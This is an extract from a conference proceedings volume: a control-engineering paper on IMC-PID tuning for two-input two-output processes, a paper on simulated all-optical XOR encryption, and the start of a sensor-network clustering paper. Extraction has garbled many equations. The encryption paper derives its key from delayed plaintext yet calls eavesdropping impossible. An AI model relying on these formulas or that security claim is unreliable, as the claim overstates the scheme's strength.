ACM SIGSOFT Softw. Eng. Notes 39(1), 1–5 (2014)
6. Bhasin, H.: Regression testing using genetic algorithms. (IJCSIT) Int. J. Comput. Sci. Inf.
Technol. (2012)
7. Bhasin, H., Khanna, E.: Neural network based black box testing. ACM SIGSOFT Softw. Eng.
Notes 39(4), 1–6 (2014)
8. Bhasin, H., Singla, N.: Cellaur-genetic test data generation. ACM SIGSOFT Softw. Eng.
Notes 38(5), (2013)
9. Bhasin, H., Gupta, S., Kathuria, M.: Implementation of regression testing using fuzzy logic.
Int. J. Appl. Innovation Eng. Manage. (2003)
10. Bhasin, H., Shewani, Goyal, D.: Test data generation using artificial life. Int. J. Comput.
Appl. 67(12), (2013)
11. Bhasin, H., Singla, N., Sharma, S.: Cellular automata based test data generation.
ACM SIGSOFT Softw. Eng. Notes 38(4), 1–6 (2013)
12. Jorgensen, P.C.: Software Testing A Craftman’s Approach. CRC Press (1995)
13. Kaner, C., Falk, J., Nguyen, H.Q.: Testing Computer Software. Wiley (1999)
14. Khan, E., Khan, F.: A comparative study of white box, black box and grey box testing
techniques. Int. J. Adv. Comput. Sci. Appl. 3(6), (2012)
15. Kitchenham, B., et al.: Systematic literature reviews in software engineering-A systematic
literature review. Inf. Softw. Technol. 51(1), 7–15 (January 2009)
16. Larry, V., Kirkland, R., Glenn, W.: Using Neural Network for Functional Testing. IEEE
(1995)
17. Myers, G.: The Art of Software Testing. Wiley (2004)
18. Paul, A.L., Byrne, P.: An Efficient Learning Algorithm for the Back Propagation Artificial
Neural Network. IEEE (1990)
19. Saraph, P., Last, M., Kandel, A.: Test set generation and reduction with artificial neural
networks. In: Last, D.M., Kandel, A., Bunke, H. (eds.) Artificial Intelligence Methods in
Software Testing. World Scientific (2004)
20. Vanamali, M., Last, M., Kandel, A.: Using neural network in the software testing process. Int.
J. Intell. Syst. 17(1), (2002)
21. Wu, L., Liu, B., Jin, Y., Xie, X.: Using back-propagation neural networks for functional
software testing. In Anti-counterfeiting, Security and Identification,ASID 2008. 2nd
International Conference (2008)
Design of IMC Controller for TITO
Process with Dynamic Closed-Loop
Time Constant
Parikshit Kumar Paul, Chanchal Dey and Rajani K. Mudi
Abstract An IMC controller is designed for two input and two output (TITO)
processes with dead time where the closed-loop time constant is varied depending
on the process operating condition. For a TITO process, proper decoupling can
minimize the loop interaction. Here, we develop an inverted decoupler so that the
TITO process can be decoupled into two SISO processes. Each SISO process is
considered to be a first-order process with dead time (FOPDT) and IMC controller
is designed for each FOPDT process. To make the controller structure proper, we
incorporate a first-order filter with closed-loop time constant (λ) which is the only
tunable parameter. Instead of a fixed value, dynamic nature is incorporated in
selecting the value of λ based on a simple mathematical relation. Superiority of the
proposed IMC controller is verified through performance comparison with the
well-known multiloop tuning relations.
Keywords TITO process IMC design Dynamic closed-loop time constant
1 Introduction
In process industries, MIMO (multiple input multiple output) processes are more
common compared to SISO processes [1]. But, controlling a MIMO process is more
difficult due to the interaction in between the loops. Here we consider a MIMO
P.K. Paul (&)

Department of Instrumentation & Control Engineering, CIEM, Kolkata, India
e-mail: parikshitkrpaul@gmail.com
C. Dey
Department of Applied Physics, University of Calcutta, Kolkata, India
e-mail: cdaphy@caluniv.ac.in
R.K. Mudi
Department of Instrumentation & Electronics Engineering, Jadavpur University,
Kolkata, India
e-mail: rkmudi@iee.jusl.ac.in

192 P.K. Paul et al.
process consisting of two inputs and two outputs, rather named as TITO process.
Theoretically, by designing an appropriate decoupler, a TITO process can be
decoupled into two SISO processes having no interaction in between them [2]. But,
in practice, designing an appropriate decoupler is not an easy task. Variation of any
parameter in one loop is found to affect another and vice versa [3]. So in such cases,
designing a suitable feedback controller is an open challenge to the researchers. In
this area, a number of works have been reported on the decoupling control tech-
nique for TITO processes [4, 5].
For controlling a TITO processes, typical approach is to design a decoupler in
such a way that two noninteracting loops are obtained, and the required task comes
out to be controlling of two first-order SISO processes [6]. IMC is a very powerful
and popular technique for controlling such first-order plus dead time (FOPDT)
processes due to their simple tuning strategy and ease of implementation [7]. Only a
single parameter, closed-loop time constant (λ) is to be adjusted for tuning of a PID
controller. A judicious choice of λ can provide an improved overall response under
both set point change and load variation [8, 9]. So, selecting the appropriate value
of λ [10] is a difficult task because a smaller value of λ offers good transient
behavior whereas good steady-state response is obtained for moderately larger
value of λ [11].
Keeping in mind such characteristic feature of λ in IMC controller tuning, we
have incorporated a dynamic λ in IMC-PID structure instead of its fixed value as
used in conventional IMC. Thus the proposed controller is named as IMC controller
with dynamic closed-loop time constant. The value of dynamic closed-loop time
constant (λ) is obtained in such a fashion that when process error is large, a smaller
λ will try to enhance the transient part of the process response. But, in case of
smaller process error, λ required to be larger to improve the steady-state response.
To satisfy the above requirement, the required variation of λ depends on the process
model. Here, we have attempted to provide a guideline to select the possible var-
iation of λ based on the desired maximum sensitivity (MS) which needs to be
typically in the range 1.2–2 [12]. In addition, based on the value of MS, both gain
margin (GM) and phase margin (PM) values for a process model may also be
specified.
As per the prior discussion, it is found that an online variation in λ is introduced
here through a simple mathematical relation. The proposed IMC-PID controller will
be capable to provide an improved set point tracking as well as enhanced load
regulation. To justify the effectiveness of the proposed scheme, performance anal-
yses are made through simulation study with widely reported tuning techniques [4,
5] for TITO processes. Wood–Berry binary distillation column [13] and Wardle and
Wood distillation column [14] are very well-known TITO process models. For
having a clear comparison among the IMC controllers, integral absolute error (IAE),
and integral time absolute error (ITAE) and stability margins (GM and PM) are
computed for each setting separately. Simulation results clearly substantiate the
superiority of the proposed IMC-PID over the others reported IMC techniques
during set point tracking as well as load rejection phases.
Design of IMC Controller for TITO Process … 193
2 The Decoupling Control Technique
In case of a TITO process, where input to the first loop (loop-1) disturbs the second
loop (loop-2) and vice versa, a suitable design of decoupler can significantly reduce
such interactions. Here, for a TITO process with dead time an inverted decoupling
is used with a feedforward control structure, as shown in Fig. 1. The variables r1
and r2 are set points, c1 and c2 are controller outputs, u1 and u2 are manipulated
variables, and y1 and y2 are process outputs of the TITO process.
The controller transfer matrix CðsÞ is diagonal in nature and generally of PID
type which is defined by the following expression:

C11 ðsÞ 0
C ðsÞ ¼ : ð1Þ
0 C22 ðsÞ
From Fig. 1, the following relation can be obtained:

" #
u1 1 0 c1 0 G 12
u1 u1
¼ þ G11
i:e:;
u2 0 1 c2 GG
21
0 u2 u2
" #1 22
1 G12 c1
¼ G21 G11 : ð2Þ
G22 1 c2
In control engineering, TITO processes with dead time is usually identified in as

G11 ðsÞ eh11 s G12 ðsÞ eh12 s
G ðsÞ ¼ : ð3Þ
G21 ðsÞ eh21 s G22 ðsÞ eh22 s
The decoupler matrix [1] for this TITO process is given by

M 1 ðsÞ d12 ðsÞ M2 ðsÞ
DðsÞ ¼ : ð4Þ
d21 ðsÞ M1 ðsÞ M2 ðsÞ
where M1 ðsÞ, M2 ðsÞ, d12 ðsÞ and d21 ðsÞ are given by Eq. (5).
Fig. 1 The inverted

decoupling system of a TITO r1 - c1 + u1 +
C1 G11
process + + y1
+
d12 G12
d21 G21
r2 + c2 + u2 +
C2 G22
- + +
y2

1 ; h21 h22
M 1 ðsÞ ¼ ðh21 h22 Þs
e ; h21 \h22
ð5Þ
1 ; h12 h11
M 2 ðsÞ ¼
eðh12 h11 Þs ; h12 \h11
G12 ðsÞ ðh12 h11 Þs G21 ðsÞ ðh21 h22 Þs

d12 ðsÞ ¼ e ; and d21 ðsÞ ¼ e :
G11 ðsÞ G22 ðsÞ
3 IMC Controller Design
After designing the decoupler in diagonal form, loop interactions are eliminated and
the diagonal controllers C1 ðsÞ and C2 ðsÞ can be designed independently as SISO
controllers. IMC-based controller design involves two steps:
Step I: Process model is factored into invertible and non-invertible parts
~p ¼ G
G ~ p G
~ pþ ; ð6Þ
where G~ p is the portion of the model which can be inverted to realize the controller
~
and Gpþ is the non-invertible portion of the process model.
Step II: Ideal IMC controller is the inverse of the invertible portion of the process
model
~x ¼ G
C ~ 1 : ð7Þ
p
To make the IMC controller proper, i.e., to have a standard PID form, a filter
(f) is added and hence the actual IMC controller is given by
~x f ¼ G
Cx ¼ C ~ 1 f : ð8Þ
p
Here, our goal is to design the IMC controller for two independent FOPDT
processes whose transfer function is given by Eq. (9).
k
G p ðsÞ ¼ ehs : ð9Þ
ðss þ 1Þ
With first-order Padé approximation for dead time, FOPDT model is represented as

k 1 h2 s k h
Gp ¼ ¼ 1 s ~ p G
¼G ~ pþ ð10Þ
ðss þ 1Þ 1 þ h2 s ðss þ 1Þ 1 þ h2 s 2
To cancel the unstable zero, a first-order IMC filter is chosen as
1
f ¼ ð11Þ
ðks þ 1Þ
From the ideal feedback controller that is equivalent to the IMC controller can be
expressed in terms of internal model G ~ p and the IMC controller.
Gp ~ 1 f
G ~ 1 f
G
p p
Gc ¼ ¼ ¼ ð12Þ
~ ~ ~ 1
1 G p C x 1 G p G p f 1 G~ pþ f
Substituting Eqs. (8) and (9) into the Eq. (10), IMC controller is given by
ðss þ 1Þð1 þ 0:5 hsÞ=kðks þ 1Þ

Gc ¼ ð13Þ
1 ½ð1 0:5 hsÞ=ðks þ 1Þ
Through simplification, the tuning parameters of a noninteracting PID controller

can be obtained as follows:

1
Gc ¼ Kc 1 þ þ sd s ; ð14Þ
si s
where
ðs þ 0:5hÞ
Kc ¼ ð15Þ
kðk þ 0:5hÞ
1
si ¼ ; ð16Þ
ðs þ 0:5hÞ
0:5hs
sd ¼ ð17Þ
ðs þ 0:5hÞ
Hence, for multiloop process, multiple controller elements are defined as follows:

1
C ðsÞ ¼ diag Kc;j 1 þ þ sd;j s ; j ¼ 1; 2; :. . .; n : ð18Þ
si;j s
3.1 Selection of λ
From the Eqs. (15), (16), and (17) it is found that the value of Kc depends on the
only unknown parameter λ which in turn dictates the value of integral and deriv-
ative gains. Selecting the proper value of closed-loop time constant (λ) is crucial as
it plays the effective role in determining the appropriate control action during
transient as well as steady state responses. It is already mentioned that a smaller
value of λ offers enhanced transient response. Whereas improvement during
steady-state response may be achieved for relative larger value of λ. Here, we
suggest a simple linear relation for calculating the value of λ relating the magnitude
of the process error (|e|) as given by Eq. (19).
k ¼ mjej þ c: ð19Þ
So, the above relation depicts that λ varies depending on the process operating
conditions. Based on extensive simulation study, we choose m = 0.8 and
c = (2θ + 0.4) where θ is the dead time of FOPDT process. In normalized domain,
maximum variation of error is to be bounded in-between 0 and 1 and hence λ can
vary from (2θ + 0.4) to (2θ − 0.4). In simulation study it will be found that such
variation of λ will cause the variation of maximum sensitivity (Ms) within 1.2–2 [12].
4 Simulation Study
To evaluate the performance of the proposed IMC-PID controller two well-known

TITO process models were considered, namely Wood and Berry [13] and Wardle
and Wood [14] distillation columns. Performance analysis of the proposed con-
troller is done with the widely reported IMC tuning relations given by Wang et al.
[4] and Hu et al. [5]. In selecting the value of closed-loop time constant λ, the
mathematical relation given by Eq. (19) was followed. Performance indices (IAE
and ITAE) were evaluated for having a clear comparison among the proposed
technique to the others reported IMC technique.
4.1 Wood and Berry (WB) Model [13]
Wood and Berry model [13] represents a process for separating methanol from
water and is given by Eq. (20).
2 3
12:8es 18:9e3s
6 16:7s þ 1 21s þ 1 7
Gwb ðsÞ ¼ 6
4 6:6e7s
7 ð20Þ
19:4e3s 5
10:9s þ 1 14:4s þ 1
After decoupling of Eq. (20), two SISO models are obtained. From Eq. (19), it is
found that for loop-1, λ varies from 1.6 to 2.4 and for loop-2, λ varies from 5.6–6.4.
Here, it is to mention that the given variation of λ for both the FOPDT processes
would ensure that MS will remain in between 1.2 and 2.0 which would also ensure
reasonably good values of GM and PM.
Responses of our proposed IMC-PID for WB model [14] along with the IMC
setting by Hu et al. [5] are shown in Fig. 2a, b for output y1 (loop 1) and y2 (loop 2).
(a) Proposed
(b) Proposed
1 Hu et al. 1 Hu et al.
y2
y1
0.5 0.5
0 0
0 50 100 150 200 250 300 350 400 0 50 100 150 200 250 300 350 400
Time (sec) Time (sec)
Fig. 2 a Process response in loop 1, b Process response in loop 2
(a) Proposed (b) Proposed

1 Wang et al. 1 Wang et al.
y2
0.5
y1
0.5
0 0
0 50 100 150 200 250 300 350 400 0 50 100 150 200 250 300 350 400
Table 1 Performance analysis for proposed method

Loop IAE ITAE Stability indices (GM, PM) MS
Max Min Max Min
u1 y 1 7.80 1101 15.3 dB, 80.1º 12.5 dB, 76.2º 1.4 1.3
u2 y 2 21.32 3069 14.4 dB, 79.1º 13.5 dB, 78.0º 1.36 1.33
Table 2 Performance Loop IAE ITAE Stability indices (GM, PM)

analysis for Wang et al. [10]
method u1 y 1 14.13 1922 21.8 dB, 35.2º
u2 y 2 27.43 3604 21.4 dB, 28.1º
Table 3 Performance Loop IAE ITAE Stability indices (GM, PM)

analysis for Hu et al. [13]
method u1 y 1 13.51 1598 22.4 dB, 45.6º
u2 y 2 25.64 3176 13.10 dB, 34.10º
In case of our proposed IMC-PID, zero overshoot is found for both the loops with
reduced rise time. In presence of load disturbances, significantly improved regula-
tion is found for both outputs (y1 and y2). The output responses for loop-1 and loop-2
due to Wang et al. [4] method along with the proposed scheme are shown in Fig. 3a,
b, respectively. A considerable amount of improvement is found during both the set
point response and load rejection behavior for both the loops. To have a clear
comparison, performance indices (IAE and ITAE) for our proposed method are
shown in Table 1. IAE and ITAE values for Wang et al. [10] are given in Table 2 and
similarly for Hu et al. [13] it is given in Table 3. From the performance indices as
listed in Tables 1, 2 and 3 it is found that the performance of the proposed IMC
technique is considerably superior compared to the IMC settings given in [4, 5].
4.2 Wardle and Wood (WW) Model [14]
Wardle and Wood model was studied by Luyben [14]. The process has the fol-
lowing transfer function matrix as given by Eq. (21).
" #
0:126e6s 0:101e12s
ð48sþ1Þð45sþ1Þ
Gww ðsÞ ¼ 60sþ1
0:094e8s 0:12e8s
ð21Þ
38sþ1 35sþ1
Table 4 Performance analysis for proposed method

Loop IAE ITAE Stability indices (GM, PM) MS
Max Min Max Min
u1 y 1 41.52 9552 14.2 dB, 78.8º 13.7 dB, 78.1º 1.34 1.35
u2 y 2 55.05 1.287 × 104 14.2 dB, 78.7º 13.8 dB, 78.4º 1.34 1.35
(a) (b) 3
1.5 Proposed Proposed
Vu et al. 2.5 Vu et al.
2
1
1.5
y1
y2
1
0.5 0.5
0
0 -0.5
0 100 200 300 400 500 600 0 100 200 300 400 500 600
Table 5 Performance Loop IAE ITAE Stability indices

analysis for Vu et al. [15] (GM, PM)
method
u1 y 1 46.79 1.093 × 104 17.10 dB, 51.1º
u2 y 2 81.69 1.935 × 104 5.76 dB, 44.7º
According to Eq. (19), for FOPDT process of loop 1, λ varies from 11.4 to 12.6
and for loop 2, it varies from 15.6 to 16.4. Such variation of λ results MS from 1.2 to
2.0 and satisfactory values of GM and PM as listed in Table 4. Responses of loop 1
and loop 2 for the proposed method along with the IMC setting given by Vu and
Lee [15] are shown in Fig. 4a, b, respectively, under both the set point change and
load disturbances. Performance indices in terms of IAE and ITAE for the proposed
IMC-PID are shown in Table 4 and for the IMC settings given by Vu and Lee [15]
are given in Table 5. In case of our proposed method, zero overshoot is found for
both the loops and remarkable amount of load rejection behavior is also observed.
5 Conclusions
Here, we proposed an IMC-PID controller with dynamic closed-loop time constant

(λ) for TITO processes with dead time. These types of processes are well-accepted
models for distillation columns. An inverted decoupler is designed so that TITO
process can be decoupled into two SISO loops. Instead of a fixed value, a varying λ
is incorporated in the proposed IMC-PID controller based on a simple mathematical
relation. Here, λ varies in such a manner that proposed controller will be capable to
provide improved performance under both the set point change and load distur-
bances. Performance analyses with well-known IMC settings justify the effective-
ness of the proposed controller. In addition, stability indices also substantiate the
acceptability of the proposed tuning technique. Other than the TITO process,
effectiveness of the proposed technique can also be verified for other multiloop
process models and all such possibilities there in our future scope.
References
1. Seborg, D.E., Edgar, T.F., Mellichamp, D.A.: Process Dynamics and Control. Wiley, New
York (2004)
2. Bequett, W.B.: Process Control Modeling Design and Simulation. Prentice-Hall, New Jersey
(2003)
3. Wang, Q.G., Zou, B., Lee, T.H., Bi, Q.: Auto tuning of multivariable PID controllers from
decentralized relay feedback. Automatica 33(3), 319–330 (1997)
4. Wang, Q.G., Huang, B., Guo, X.: Auto-tuning of TITO decoupling controllers from step tests.
ISA Trans. 39(4), 407–418 (2000)
5. Hu, Z.R., Li, D.H., Wang, J., Xue, F.: Analytical design of PID decoupling control for TITO
processes with time delays. J. Comput. 6(6), 1064–1070 (2011)
6. Maghade, D.K., Patre, P.M.: Decentralized PI/PID controllers based on gain and phase margin
specifications for TITO processes. ISA Trans. 51(4), 550–558 (2012)
7. Skogestad, S.: Simple analytic rule for model reduction and PID controller tuning. J. Process
Control 13(4), 291–309 (2003)
8. Shamsuzzoha, M., Lee, M.: IMC-PID controller design for improved disturbance rejection of
time-delayed processes. Ind. Eng. Chem. Res. 46(7), 2077–2091 (2007)
9. Shamsuzzoha, M., Lee, M.: PID controller deign for integrating process with time delay.
Korean J. Chem. Eng. 25(4), 637–645 (2008)
10. Rao, A.S., Rao, V.S.R., Chidambaram, M.: Direct synthesis-based controller design for
integrating process with time delay. J. Franklin Inst. 346(1), 38–56 (2009)
11. Paul, P.K., Dey, C., Mudi, R.K.: Design of fuzzy based IMC-PID controller for IPD process.
Proc. IEEE Int. Symp. Comput. Bus. Intell. 30, 111–114 (2013)
12. Zhao, Z., Liu, Z., Zhang, J.: IMC-PID tuning method based on sensitivity specification for
process with time-delay. J. Cent. South Univ. Tech. 18, 1153–1160 (2011)
13. Wood, R.K., Berry, M.W.: Terminal composition control of a binary distillation column.
Chem. Eng. Sci. 28(9), 1707–1717 (1973)
14. Luyben, W.L.: Simple method for tuning SISO controllers in multivariable systems. Ind. Eng.
Chem. Process Des. Dev. 25, 654–660 (1986)
15. Vu, T.N.L., Lee, J., Lee, M.: Design of multi-loop PID controllers based on the generalized
IMC-PID method with Mp criterion. Int. J. Control Autom. Syst. 5(2), 212–217 (2007)
All Optical SOA-MZI-Based Encryption
Decryption System Using Co Propagating
Optical Pulses and CW Wave at 40 Gb/s
Vipul Agarwal and Vijayshri Chaurasia
Abstract This paper presents novel optical encryption and decryption systems
using a semiconductor optical amplifier at 40 Gb/s. Proposed scheme exploits
cross-phase modulation phenomenon in SOA. Our design is mainly based on SOA
Mach-Zehnder interferometer structure, optical couplers, CW light, and EDFA. We
demonstrate that our implementation is more feasible than conventional SOA-MZI
encryption system, where only single optical pulse source is used. Experimental
evaluation using eye diagrams shows robustness of our proposed encryption
decryption system against eavesdropping.
Keywords Semiconductor optical amplifier Mach-Zehnder interferometer

EDFA XOR
1 Introduction
With the continuous expansion of optical networks, the need for securing the
information flow through these networks is increasing day-by-day. To secure data
while transmission, various encryption schemes have been proposed [1–3]. Most
encryption techniques, however, become difficult at bit rates exceeding 5 Gb/s due
to speed limitations of electronic optical interfaces. A need exists for high speed,
low latency optical encryption system which does not require optoelectronic
conversion.
All optical XOR have attracted much attention as the building block of all optical
encryption system [4–6] because SOA possesses nonlinearities like four wave
mixing, cross-gain modulation, and cross-phase modulation. SOA also have a wide
gain spectrum, low power consumption, monolithic integration with other devices,
and low cost. Because of these advantages, SOA have been used extensively as
V. Agarwal (&) V. Chaurasia

Department of Electronics and Communication, AISECT University, Bhopal, India
e-mail: agarvipul@gmail.com

202 V. Agarwal and V. Chaurasia
nonlinear elements for optical processing. In the past, many SOA-based switching
configurations have been demonstrated such as Tetra Hertz optical asymmetric
demultiplexer (TOADs), ultrafast nonlinear interferometers (UNIs), and
Mach-Zehnder interferometer (MZIs).
The remainder of this paper is organized as follows: In Sect. 2 implementation of
our proposed encryption and decryption scheme is explained. Security analysis of
proposed scheme with performance evaluation is presented in Sect. 3. Finally,
conclusions are made in Sect. 4.
2 Proposed Encryption Decryption System Component

and Physical Implementation
Optiwave OptiSystem 12 is used to simulate our experimental setup. The brief

schematics of our proposed experimental setup are shown in Fig. 1. Our proposed
encryption system is based on XPM effect [7]. In this scheme, CW light is provided
as input to SOA along with intensity modulated data signal. Intensity modulated
data signals influence the number of carriers in the SOA, which in turn affects the
gain and refractive index of SOA, which results in phase modulation of continuous
wave signal. The intensity modulated data signal is formed with RZ format of
wavelength 1549.2 nm with full width half maximum (FWHM) Of 1 MHz at
1 mW. The data signal is denoted by Pi (Plaintext). The 212 − 1 pseudorandom
sequence generator is used to generate data at 40 Gb/s. Security key, denoted by Ki
is generated by delaying data signal (Pi) by 400 ps. Both Pi and Ki is launched into
Fig. 1 Proposed SOA based encryption decryption system
All Optical SOA-MZI-Based Encryption Decryption System … 203
the two arms of interferometer, respectively, as shown in the Fig. 1. A CW light

beam at 1546.12 nm is launched into two arms of interferometer through X coupler
1 in co-propagating direction along with Pi and Ki signal. In the upper arm of an
interferometer, CW beam and Pi signal are together multiplexed in SOA using 2 × 1
multiplexer as shown in the figure. Similarly in lower arm, Ki and CW beam are
launched. Combination of EDFA and attenuator is employed after WDM to control
the power levels of signal to achieve maximum XPM efficiency. The parameter of
SOA used in our Encryption and Decryption systems is shown in Table 1.
2.1 Encryption Process
Encryption process is achieved through all optical XOR logic using semiconductor
optical amplifier. An encrypted signal, denoted by Ci can be explained in the form
of equation Ci = Pi XOR Ki. The truth table for XOR logic is shown in Table 2.
In this section, we will demonstrate that our SOA-MZI-based circuit operates
like XOR logic. X coupler used in our proposed circuit is designed such that light
coming out of the opposite port (longer arm) experiences a phase shift of π/2. To the
author’s knowledge, this is the first demonstration of introducing phase difference,
using X coupler in interferometric arms of a MZI-SOA to realize XOR logic.
Table 1 SOA parameters used in proposed circuit diagram

Symbol Parameters SOA parameter SOA parameter
in upper arm in lower arm
I Injection current 150 mA 150 mA
L Length of amplifier 500 μm 500 μm
Ŧ Optical confinement factor 0.3 0.3
GD Differential gain 27.8e–021 m2 27.8e–021 m2
α Line width enhancement factor 5 5
Αins Input/output insertion loss 4 dB 4 dB
ML Material loss 1000/m 1000/m
Ps Saturation Power 25 mW 25 mW
W Active layer width 1 μm 1 μm
τ Carrier lifetime 10 ns 10 ns
Table 2 XOR logic truth Pi Ki Ci

table
0 0 0
0 1 1
1 0 1
1 1 0
For Pi = 0 and Ki = 0, CW beam enters SOA-MZI and is split into two equal
beams, one passes through upper SOA and other through lower SOA. The beam
that comes out of opposite port of coupler experiences a phase shift of π/2. In this
manner, CW beam traveling in upper and lower arm of interferometer have phase
difference of π/2. Both SOAs in upper and lower arm of an interferometer remains
in same condition as no data pulse has arrived. So no phase shift takes place while
CW beam travels through SOAs and phase difference between upper and lower arm
of an interferometer still remains π/2. These two beams after passing through SOA
are combined at the output port of second X coupler where they suffer additional
phase shift of π/2. So total phase difference induced between the two beam is π,
which means two CW beam interferes at the output of interferometer destructively,
so no signal is obtained, i.e., Ci = 0.
In the case of Pi = 1 and Ki = 0, refractive index of upper SOA changes due to
arrival of data pulse, whereas lower SOA refractive index remains unchanged.
As CW beam travels through upper and lower SOA, π phase shift is introduced
between two beams due to different refractive index condition in two SOA. Further
π/2 phase shift is introduced due to X coupler. So total phase difference between
two beams becomes 2π which means two CW beam interferes constructively and
we get Ci = 1.
Similarly, for Pi = 0 and Ki = 1, two CW beams again interfere constructively so
that Ci = 1.
In the case of Ki = 1 and Pi = 1, π/2 phase difference is induced between two CW
beam due to first X coupler. Refractive Index of both SOA changes due to arrival of
a data pulse. So phase difference between two CW beams after traveling through
upper and lower SOA remains π/2. Further π/2 phase shift is induced due to second
X coupler, so total phase difference between the two beams at the output of
interferometer becomes π. So CW beam interferes destructively, which means
Ci = 0.
Clearly our proposed circuit exactly works like a XOR logic gate. The eye
diagram of input signal before and after encryption is shown in Fig. 2.
2.2 Decryption Process
Decryption of encrypted data can be achieved with XOR logic operation of Ci and
Ki, i.e.,
Pi ¼ Ci XOR Ki ð1Þ
¼ ðPi XOR KiÞ XOR Ki ð2Þ
The encrypted signal Ci and delayed signal Ki are applied to two inputs of
optical coupler. The parameters of SOA used in decryption setup are same as
Fig. 2 Eye diagram of input signal before (above) and after encryption (below)
Fig. 3 Eye diagram of decrypted signal
parameters of SOA used in encryption setup. The eye diagram of decrypted signal
is shown in Fig. 3.
To verify the operation of encryption and decryption, a data sequence 1011 is
used as Pi and 1110 as Ki (Pi sequence delayed by 2 bits). Figure 4 clearly shows
that our transmitter section performs XOR operation to generate encrypted signal
Pi XOR Ki = Ci. Plaintext signal Pi can be recovered from receiver section by
performing XOR operation between Ki and Ci (Pi XOR Ki).
3 Security Analysis and Performance Evaluation
This section analyzes the robustness of our proposed encryption and decryption
scheme. It is impossible for an eavesdropper to recover original signal due to large
number of possible permutations of SOA parameters. Also, eavesdropper must have
knowledge of Ki signal, SOA parameters and the constructional features of our
proposed XOR logic to successively decrypt original signal. Figure 2 illustrate eye
diagram of input and encrypted signal. Encrypted signal have Q factor of more than
13.5 and 11.1 mW output power for input signals of 1 mW at 40 Gb/s. These are
Fig. 4 Experimental signal

patterns
improved results over results of Ref. [8]. The Q factor of decrypted signal is more
than 7.5 at 40 Gb/s, which is an improved results over Ref. [9] in terms of trans-
mission speed and Q factor of decrypted signal.
4 Conclusion
The implementation of SOA-MZI-based XOR logic in the presence of CW beam is

simulated for secure data transmission in optical fiber networks. The results show
that decryption by an eavesdropper becomes impossible because large number of
possible permutations of different parameters are used in our encryption system.
The results also show that there is no deterioration in the decrypted signal. The
demonstrated scheme offers compact, low latency, and low-power penalty approach
at ultra high speed to secure confidential data in fiber-optics networks.
References
1. Barrios, C.A., Lipson, M.: Silicon photonic read only memory. J. Lightwave Technol. 24(7),
2898–2905 (2006)
2. Valley, G.C.: Photonic analog to digital converters. Opt. Express 15(5), 1955–1982 (2007)
3. Froehlich, F.F., Price, C.H., Turpin, T.M., Cooke, J.A.: All optical encryption for links at
10 Gb/s and above. In: Proceedings of IEEE Military Communications Conference, vol. 4,
pp. 2158–2164. Atlantic City, NJ (2005)
4. Kim, J.H., John, Y.M., Byun, Y.T., Lee, S., Woo, D.H., Kim, S.H.: All-optical XOR gate
using semiconductor optical amplifiers without additional input beam. IEEE Photon. Technol.
Lett. 14(10), 1436–1438 (2002)
5. Wang, Q., Zhu, G., Chen, H., Jaques, J., Leuthold, J., Piccirilli, A.B., Dutta, N.K.: Study of
all-optical XOR using Mach-Zehnder interferometer and differential scheme.
IEEE J. Quantum Electron. 40(6), 703–710 (2004)
6. Zhang, M., Wang, L., Ye, P.: All optical XOR logic gates: Technologies and experiment
demonstrations. IEEE Commun. Mag. 43(5), 519–524 (2005)
7. Ng, T.T.: Characterization of XGM and XPM in a SOA-MZI using linear frequency resolved
gating technique. In: IEEE Lasers and Electro-Optics society, pp. 656–657 (2007)
8. Martinez, J.M., Ramos, F., Marti, J.: 10 Gb/s reconfigurable optical logic gate using a single
hybrid-integrated SOA-MZI. Int. J. Fiber Integr. Opt. 27(1), 15–23 (2008)
9. Jung, Y.J., Son, C.W., Lee, S., Gill, S., Kim, H.S., Park, N.: Demonstration of 10 Gb/s all
encryption and decryption system utilizing SOA XOR logic gates. J. Opt. Quantum Electron.
40(5–6), 425–430 (2008)
10. Lannone, E., Sabella, R., de Stefano, L., Valeri, F.: All optical wavelength conversion in
optical multicarrier networks. IEICE Trans. Commun. 44(6), 716–724 (1996)
11. Hill, M.T., Tangdiongga, E., de Waardt, H., Khoe, G.D., Dorren, H.J.S.: Carrier recovery time
in semiconductor optical amplifiers that employ holding beams. Optics Lett. 27(18), 1625–
1627 (2002)
12. Abdallah, W., Hamdi, M., Boudriga, N.: An all optical configurable and secure OCDMA
system implementation using loop based optical delay lines. In: ICTON IEEE (2011)
13. Singh, S., Lovkesh, S.: Ultrahigh speed optical signal processing logic based on SOA-MZI.
IEEE J. Sel. Topics Quantum Electron. 18(2), 970–977 (2012)
14. Agrawal, G.P.: Fiber-Optic Communication System, 3rd edn. Wiley, Singapore
15. Wang, Z., Huang, Y.K., Deng, Y., Chang, J., Prucnal, P.R.: Optical encryption with OCDMA
code swapping using all OR logic gate. IEEE Photon. Technol. Lett. 21(7), 411–413 (2009)
Exploiting Common Nodes in Overlapped
Clusters for Path Optimization in Wireless
Sensor Networks
Devendra Rao BV, D. Vasumathi and Satyanarayana V. Nandury
Abstract For operational efficiency, most WSNs employ clustering approach

where the cluster head is responsible for finding the shortest path to the sink for all of
its cluster nodes. While clustering, it is a common observation that the clusters often
tend to overlap, and hence nodes in the overlap region are capable of communicating
directly with neighboring nodes within one hop distance. However, traditionally the
nodes belonging to one cluster are prohibited from making overtures with other
nodes outside its cluster. A common node exploitation (CNE) approach is proposed
that deviates from this traditional approach and paves a methodology to exploit the
proximity of the common nodes to the other nodes. Two algorithms are developed
based on CNE approach for location aware, randomly deployed WSNs to find
alternate, shorter, and optimized path to the sink. Simulations performed have shown
that the CNE approach outperforms traditional approaches.

Keywords Cluster overlap Common nodes Latency Path optimization WSN
1 Introduction
Wireless sensor network (WSN) is designed to detect events or phenomena in the

area where they are deployed, process data, and transmit sensed information to a
base station. The physically dispersed sensor nodes are usually autonomous in
nature, but collaborate with each other for performing various tasks related to
communications, data aggregation, network monitoring, etc. The key issues in
WSN are to optimize the energy expended for data transmission, and to minimize
the time duration in data delivery, i.e., latency. The efficacy of the methods
employed is usually evaluated based on the quality of service (QoS) assured by the
D. Rao BV (&) S.V. Nandury

CSIR-Indian Institute of Chemical Technology, Hyderabad, India
e-mail: nvs@iict.res.in
D. Vasumathi
Department of CSE, CEH, Jawaharlal Nehru Tech. University, Hyderabad, India

210 D. Rao BV et al.
WSN, in terms of guarantee for reliable and timely delivery of the sensed data to the
base station/sink node [1]. A popular approach to provide such QoS guarantees, is
to group the nodes in WSN into clusters, where each node in the cluster commu-
nicates only with one cluster head (CH), which is usually at a single hop distance.
The CH aggregates the cluster data, and the aggregated data is relayed to the base
station (BS)/Sink in the shortest possible path. A tree-like hierarchy is usually
constructed with CHs to determine the shortest path to the BS. However, while
forming clusters, there may be an overlap/common zone between neighboring
